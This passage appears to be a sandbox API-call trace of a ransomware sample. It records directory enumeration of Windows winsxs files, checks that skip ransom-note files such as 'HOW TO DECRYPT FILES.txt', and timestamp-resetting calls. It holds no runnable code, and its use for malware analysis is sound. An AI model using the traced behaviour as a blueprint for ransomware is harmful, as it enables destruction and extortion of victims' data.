lpMsg=0x18fa24) returned 0 [0165.672] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="home0.aspx.resx") returned -1 [0165.672] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="home0.aspx.resx") returned 1 [0165.673] lstrcmpiA (lpString1="", lpString2="home0.aspx.resx") returned -1 [0165.673] PathFindFileNameA (pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_locres_res_b03f5f7f11d50a3a_6.1.7600.16385_none_6db55c2fd0300a34\\error.aspx.resx") returned="error.aspx.resx" [0165.673] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_locres_res_b03f5f7f11d50a3a_6.1.7600.16385_none_6db55c2fd0300a34\\" | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_locres_res_b03f5f7f11d50a3a_6.1.7600.16385_none_6db55c2fd0300a34\\") returned="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_locres_res_b03f5f7f11d50a3a_6.1.7600.16385_none_6db55c2fd0300a34\\" [0165.673] PathAddBackslashA (in: pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_locres_res_b03f5f7f11d50a3a_6.1.7600.16385_none_6db55c2fd0300a34\\" | out: pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_locres_res_b03f5f7f11d50a3a_6.1.7600.16385_none_6db55c2fd0300a34\\") returned="" [0165.673] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0165.673] CloseHandle (hObject=0xffffffff) returned 0 [0165.674] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xafa79293, ftCreationTime.dwHighDateTime=0x1ca03f9, ftLastAccessTime.dwLowDateTime=0xafa79293, ftLastAccessTime.dwHighDateTime=0x1ca03f9, ftLastWriteTime.dwLowDateTime=0x905c4031, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x35b, dwReserved0=0x0, dwReserved1=0x0, cFileName="home1.aspx.resx", cAlternateFileName="HOME1A~1.RES")) returned 1 [0165.674] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0165.674] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="home1.aspx.resx") returned -1 [0165.674] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="home1.aspx.resx") returned 1 [0165.674] lstrcmpiA (lpString1="", lpString2="home1.aspx.resx") returned -1 [0165.674] PathFindFileNameA (pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_locres_res_b03f5f7f11d50a3a_6.1.7600.16385_none_6db55c2fd0300a34\\home0.aspx.resx") returned="home0.aspx.resx" [0165.674] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_locres_res_b03f5f7f11d50a3a_6.1.7600.16385_none_6db55c2fd0300a34\\" | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_locres_res_b03f5f7f11d50a3a_6.1.7600.16385_none_6db55c2fd0300a34\\") returned="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_locres_res_b03f5f7f11d50a3a_6.1.7600.16385_none_6db55c2fd0300a34\\" [0165.674] PathAddBackslashA (in: pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_locres_res_b03f5f7f11d50a3a_6.1.7600.16385_none_6db55c2fd0300a34\\" | out: pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_locres_res_b03f5f7f11d50a3a_6.1.7600.16385_none_6db55c2fd0300a34\\") returned="" [0165.675] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0165.675] CloseHandle (hObject=0xffffffff) returned 0 [0165.675] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xafb11807, ftCreationTime.dwHighDateTime=0x1ca03f9, ftLastAccessTime.dwLowDateTime=0xafb11807, ftLastAccessTime.dwHighDateTime=0x1ca03f9, ftLastWriteTime.dwLowDateTime=0x905ea18f, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x491, dwReserved0=0x0, dwReserved1=0x0, cFileName="home2.aspx.resx", cAlternateFileName="HOME2A~1.RES")) returned 1 [0165.675] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0165.675] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="home2.aspx.resx") returned -1 [0165.675] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="home2.aspx.resx") returned 1 [0165.675] lstrcmpiA (lpString1="", lpString2="home2.aspx.resx") returned -1 [0165.675] PathFindFileNameA (pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_locres_res_b03f5f7f11d50a3a_6.1.7600.16385_none_6db55c2fd0300a34\\home1.aspx.resx") returned="home1.aspx.resx" [0165.675] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_locres_res_b03f5f7f11d50a3a_6.1.7600.16385_none_6db55c2fd0300a34\\" | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_locres_res_b03f5f7f11d50a3a_6.1.7600.16385_none_6db55c2fd0300a34\\") returned="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_locres_res_b03f5f7f11d50a3a_6.1.7600.16385_none_6db55c2fd0300a34\\" [0165.675] PathAddBackslashA (in: pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_locres_res_b03f5f7f11d50a3a_6.1.7600.16385_none_6db55c2fd0300a34\\" | out: pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_locres_res_b03f5f7f11d50a3a_6.1.7600.16385_none_6db55c2fd0300a34\\") returned="" [0165.676] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0165.676] CloseHandle (hObject=0xffffffff) returned 0 [0165.676] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xafb5dac1, ftCreationTime.dwHighDateTime=0x1ca03f9, ftLastAccessTime.dwLowDateTime=0xafb5dac1, ftLastAccessTime.dwHighDateTime=0x1ca03f9, ftLastWriteTime.dwLowDateTime=0x906a8865, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x33b, dwReserved0=0x0, dwReserved1=0x0, cFileName="navigationBar.ascx.resx", cAlternateFileName="NAVIGA~1.RES")) returned 1 [0165.676] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0165.676] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="navigationBar.ascx.resx") returned -1 [0165.676] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="navigationBar.ascx.resx") returned -1 [0165.676] lstrcmpiA (lpString1="", lpString2="navigationBar.ascx.resx") returned -1 [0165.676] PathFindFileNameA (pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_locres_res_b03f5f7f11d50a3a_6.1.7600.16385_none_6db55c2fd0300a34\\home2.aspx.resx") returned="home2.aspx.resx" [0165.677] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_locres_res_b03f5f7f11d50a3a_6.1.7600.16385_none_6db55c2fd0300a34\\" | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_locres_res_b03f5f7f11d50a3a_6.1.7600.16385_none_6db55c2fd0300a34\\") returned="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_locres_res_b03f5f7f11d50a3a_6.1.7600.16385_none_6db55c2fd0300a34\\" [0165.677] PathAddBackslashA (in: pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_locres_res_b03f5f7f11d50a3a_6.1.7600.16385_none_6db55c2fd0300a34\\" | out: pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_locres_res_b03f5f7f11d50a3a_6.1.7600.16385_none_6db55c2fd0300a34\\") returned="" [0165.677] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0165.677] CloseHandle (hObject=0xffffffff) returned 0 [0165.677] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xafbcfed8, ftCreationTime.dwHighDateTime=0x1ca03f9, ftLastAccessTime.dwLowDateTime=0xafbcfed8, ftLastAccessTime.dwHighDateTime=0x1ca03f9, ftLastWriteTime.dwLowDateTime=0x906a8865, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x2e1a, dwReserved0=0x0, dwReserved1=0x0, cFileName="WebAdminHelp.aspx.resx", cAlternateFileName="WEBADM~1.RES")) returned 1 [0165.677] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0165.677] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="WebAdminHelp.aspx.resx") returned -1 [0165.677] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="WebAdminHelp.aspx.resx") returned -1 [0165.677] lstrcmpiA (lpString1="", lpString2="WebAdminHelp.aspx.resx") returned -1 [0165.677] PathFindFileNameA (pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_locres_res_b03f5f7f11d50a3a_6.1.7600.16385_none_6db55c2fd0300a34\\navigationBar.ascx.resx") returned="navigationBar.ascx.resx" [0165.678] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_locres_res_b03f5f7f11d50a3a_6.1.7600.16385_none_6db55c2fd0300a34\\" | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_locres_res_b03f5f7f11d50a3a_6.1.7600.16385_none_6db55c2fd0300a34\\") returned="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_locres_res_b03f5f7f11d50a3a_6.1.7600.16385_none_6db55c2fd0300a34\\" [0165.678] PathAddBackslashA (in: pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_locres_res_b03f5f7f11d50a3a_6.1.7600.16385_none_6db55c2fd0300a34\\" | out: pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_locres_res_b03f5f7f11d50a3a_6.1.7600.16385_none_6db55c2fd0300a34\\") returned="" [0165.678] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0165.678] CloseHandle (hObject=0xffffffff) returned 0 [0165.678] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xafc1c192, ftCreationTime.dwHighDateTime=0x1ca03f9, ftLastAccessTime.dwLowDateTime=0xafc1c192, ftLastAccessTime.dwHighDateTime=0x1ca03f9, ftLastWriteTime.dwLowDateTime=0x906ce9c3, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x570e, dwReserved0=0x0, dwReserved1=0x0, cFileName="WebAdminHelp_Application.aspx.resx", cAlternateFileName="WEBADM~2.RES")) returned 1 [0165.678] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0165.678] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="WebAdminHelp_Application.aspx.resx") returned -1 [0165.678] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="WebAdminHelp_Application.aspx.resx") returned -1 [0165.678] lstrcmpiA (lpString1="", lpString2="WebAdminHelp_Application.aspx.resx") returned -1 [0165.678] PathFindFileNameA (pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_locres_res_b03f5f7f11d50a3a_6.1.7600.16385_none_6db55c2fd0300a34\\WebAdminHelp.aspx.resx") returned="WebAdminHelp.aspx.resx" [0165.678] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_locres_res_b03f5f7f11d50a3a_6.1.7600.16385_none_6db55c2fd0300a34\\" | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_locres_res_b03f5f7f11d50a3a_6.1.7600.16385_none_6db55c2fd0300a34\\") returned="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_locres_res_b03f5f7f11d50a3a_6.1.7600.16385_none_6db55c2fd0300a34\\" [0165.678] PathAddBackslashA (in: pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_locres_res_b03f5f7f11d50a3a_6.1.7600.16385_none_6db55c2fd0300a34\\" | out: pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_locres_res_b03f5f7f11d50a3a_6.1.7600.16385_none_6db55c2fd0300a34\\") returned="" [0165.679] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0165.679] CloseHandle (hObject=0xffffffff) returned 0 [0165.679] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xafcb4706, ftCreationTime.dwHighDateTime=0x1ca03f9, ftLastAccessTime.dwLowDateTime=0xafcb4706, ftLastAccessTime.dwHighDateTime=0x1ca03f9, ftLastWriteTime.dwLowDateTime=0x906ce9c3, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x18c9, dwReserved0=0x0, dwReserved1=0x0, cFileName="WebAdminHelp_Internals.aspx.resx", cAlternateFileName="WEBADM~3.RES")) returned 1 [0165.679] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0165.679] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="WebAdminHelp_Internals.aspx.resx") returned -1 [0165.679] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="WebAdminHelp_Internals.aspx.resx") returned -1 [0165.679] lstrcmpiA (lpString1="", lpString2="WebAdminHelp_Internals.aspx.resx") returned -1 [0165.679] PathFindFileNameA (pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_locres_res_b03f5f7f11d50a3a_6.1.7600.16385_none_6db55c2fd0300a34\\WebAdminHelp_Application.aspx.resx") returned="WebAdminHelp_Application.aspx.resx" [0165.679] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_locres_res_b03f5f7f11d50a3a_6.1.7600.16385_none_6db55c2fd0300a34\\" | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_locres_res_b03f5f7f11d50a3a_6.1.7600.16385_none_6db55c2fd0300a34\\") returned="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_locres_res_b03f5f7f11d50a3a_6.1.7600.16385_none_6db55c2fd0300a34\\" [0165.679] PathAddBackslashA (in: pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_locres_res_b03f5f7f11d50a3a_6.1.7600.16385_none_6db55c2fd0300a34\\" | out: pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_locres_res_b03f5f7f11d50a3a_6.1.7600.16385_none_6db55c2fd0300a34\\") returned="" [0165.680] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0165.680] CloseHandle (hObject=0xffffffff) returned 0 [0165.680] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xafcda863, ftCreationTime.dwHighDateTime=0x1ca03f9, ftLastAccessTime.dwLowDateTime=0xafcda863, ftLastAccessTime.dwHighDateTime=0x1ca03f9, ftLastWriteTime.dwLowDateTime=0x906f4b21, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x2924, dwReserved0=0x0, dwReserved1=0x0, cFileName="WebAdminHelp_Provider.aspx.resx", cAlternateFileName="WEBADM~4.RES")) returned 1 [0165.680] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0165.680] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="WebAdminHelp_Provider.aspx.resx") returned -1 [0165.680] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="WebAdminHelp_Provider.aspx.resx") returned -1 [0165.680] lstrcmpiA (lpString1="", lpString2="WebAdminHelp_Provider.aspx.resx") returned -1 [0165.680] PathFindFileNameA (pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_locres_res_b03f5f7f11d50a3a_6.1.7600.16385_none_6db55c2fd0300a34\\WebAdminHelp_Internals.aspx.resx") returned="WebAdminHelp_Internals.aspx.resx" [0165.680] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_locres_res_b03f5f7f11d50a3a_6.1.7600.16385_none_6db55c2fd0300a34\\" | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_locres_res_b03f5f7f11d50a3a_6.1.7600.16385_none_6db55c2fd0300a34\\") returned="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_locres_res_b03f5f7f11d50a3a_6.1.7600.16385_none_6db55c2fd0300a34\\" [0165.680] PathAddBackslashA (in: pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_locres_res_b03f5f7f11d50a3a_6.1.7600.16385_none_6db55c2fd0300a34\\" | out: pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_locres_res_b03f5f7f11d50a3a_6.1.7600.16385_none_6db55c2fd0300a34\\") returned="" [0165.681] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0165.681] CloseHandle (hObject=0xffffffff) returned 0 [0165.681] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xafd26b1d, ftCreationTime.dwHighDateTime=0x1ca03f9, ftLastAccessTime.dwLowDateTime=0xafd26b1d, ftLastAccessTime.dwHighDateTime=0x1ca03f9, ftLastWriteTime.dwLowDateTime=0x9071ac7f, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x472d, dwReserved0=0x0, dwReserved1=0x0, cFileName="WebAdminHelp_Security.aspx.resx", cAlternateFileName="WED669~1.RES")) returned 1 [0165.681] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0165.681] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="WebAdminHelp_Security.aspx.resx") returned -1 [0165.681] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="WebAdminHelp_Security.aspx.resx") returned -1 [0165.681] lstrcmpiA (lpString1="", lpString2="WebAdminHelp_Security.aspx.resx") returned -1 [0165.681] PathFindFileNameA (pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_locres_res_b03f5f7f11d50a3a_6.1.7600.16385_none_6db55c2fd0300a34\\WebAdminHelp_Provider.aspx.resx") returned="WebAdminHelp_Provider.aspx.resx" [0165.681] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_locres_res_b03f5f7f11d50a3a_6.1.7600.16385_none_6db55c2fd0300a34\\" | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_locres_res_b03f5f7f11d50a3a_6.1.7600.16385_none_6db55c2fd0300a34\\") returned="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_locres_res_b03f5f7f11d50a3a_6.1.7600.16385_none_6db55c2fd0300a34\\" [0165.681] PathAddBackslashA (in: pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_locres_res_b03f5f7f11d50a3a_6.1.7600.16385_none_6db55c2fd0300a34\\" | out: pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_locres_res_b03f5f7f11d50a3a_6.1.7600.16385_none_6db55c2fd0300a34\\") returned="" [0165.682] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0165.682] CloseHandle (hObject=0xffffffff) returned 0 [0165.682] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xafd26b1d, ftCreationTime.dwHighDateTime=0x1ca03f9, ftLastAccessTime.dwLowDateTime=0xafd26b1d, ftLastAccessTime.dwHighDateTime=0x1ca03f9, ftLastWriteTime.dwLowDateTime=0x9071ac7f, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x472d, dwReserved0=0x0, dwReserved1=0x0, cFileName="WebAdminHelp_Security.aspx.resx", cAlternateFileName="WED669~1.RES")) returned 0 [0165.682] FindClose (in: hFindFile=0x5025d8 | out: hFindFile=0x5025d8) returned 1 [0165.683] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x11329b10, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x11329b10, ftLastAccessTime.dwHighDateTime=0x1ca0432, ftLastWriteTime.dwLowDateTime=0x11329b10, ftLastWriteTime.dwHighDateTime=0x1ca0432, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName="amd64_netfx-aspnet_webadmin_permissions_b03f5f7f11d50a3a_6.1.7600.16385_none_21be611582619ce3", cAlternateFileName="AMCC03~1.163")) returned 1 [0165.687] lstrcmpA (lpString1=".", lpString2="amd64_netfx-aspnet_webadmin_permissions_b03f5f7f11d50a3a_6.1.7600.16385_none_21be611582619ce3") returned -1 [0165.687] lstrcmpA (lpString1="..", lpString2="amd64_netfx-aspnet_webadmin_permissions_b03f5f7f11d50a3a_6.1.7600.16385_none_21be611582619ce3") returned -1 [0165.687] PathFindFileNameA (pszPath="C:\\Windows\\winsxs\\*.*") returned="*.*" [0165.687] FindFirstFileA (in: lpFileName="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_permissions_b03f5f7f11d50a3a_6.1.7600.16385_none_21be611582619ce3\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x11329b10, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x11329b10, ftLastAccessTime.dwHighDateTime=0x1ca0432, ftLastWriteTime.dwLowDateTime=0x11329b10, ftLastWriteTime.dwHighDateTime=0x1ca0432, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0165.689] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0165.689] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x11329b10, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x11329b10, ftLastAccessTime.dwHighDateTime=0x1ca0432, ftLastWriteTime.dwLowDateTime=0x11329b10, ftLastWriteTime.dwHighDateTime=0x1ca0432, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0165.689] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0165.689] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0165.689] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0f732cc, ftCreationTime.dwHighDateTime=0x1ca03f9, ftLastAccessTime.dwLowDateTime=0xb0f732cc, ftLastAccessTime.dwHighDateTime=0x1ca03f9, ftLastWriteTime.dwLowDateTime=0x9128f5c5, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x2af8, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="createPermission.aspx", cAlternateFileName="CREATE~1.ASP")) returned 1 [0165.689] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0165.689] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="createPermission.aspx") returned 1 [0165.689] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="createPermission.aspx") returned 1 [0165.689] lstrcmpiA (lpString1="", lpString2="createPermission.aspx") returned -1 [0165.689] PathFindFileNameA (pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_permissions_b03f5f7f11d50a3a_6.1.7600.16385_none_21be611582619ce3\\*.*") returned="*.*" [0165.689] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_permissions_b03f5f7f11d50a3a_6.1.7600.16385_none_21be611582619ce3\\" | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_permissions_b03f5f7f11d50a3a_6.1.7600.16385_none_21be611582619ce3\\") returned="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_permissions_b03f5f7f11d50a3a_6.1.7600.16385_none_21be611582619ce3\\" [0165.690] PathAddBackslashA (in: pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_permissions_b03f5f7f11d50a3a_6.1.7600.16385_none_21be611582619ce3\\" | out: pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_permissions_b03f5f7f11d50a3a_6.1.7600.16385_none_21be611582619ce3\\") returned="" [0165.690] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0165.690] CloseHandle (hObject=0xffffffff) returned 0 [0165.690] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0f99429, ftCreationTime.dwHighDateTime=0x1ca03f9, ftLastAccessTime.dwLowDateTime=0xb0f99429, ftLastAccessTime.dwHighDateTime=0x1ca03f9, ftLastWriteTime.dwLowDateTime=0x912db881, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x5463, dwReserved0=0x0, dwReserved1=0x0, cFileName="managePermissions.aspx", cAlternateFileName="MANAGE~1.ASP")) returned 1 [0165.690] PeekMessageA (in: lpMsg=0x18fa24, 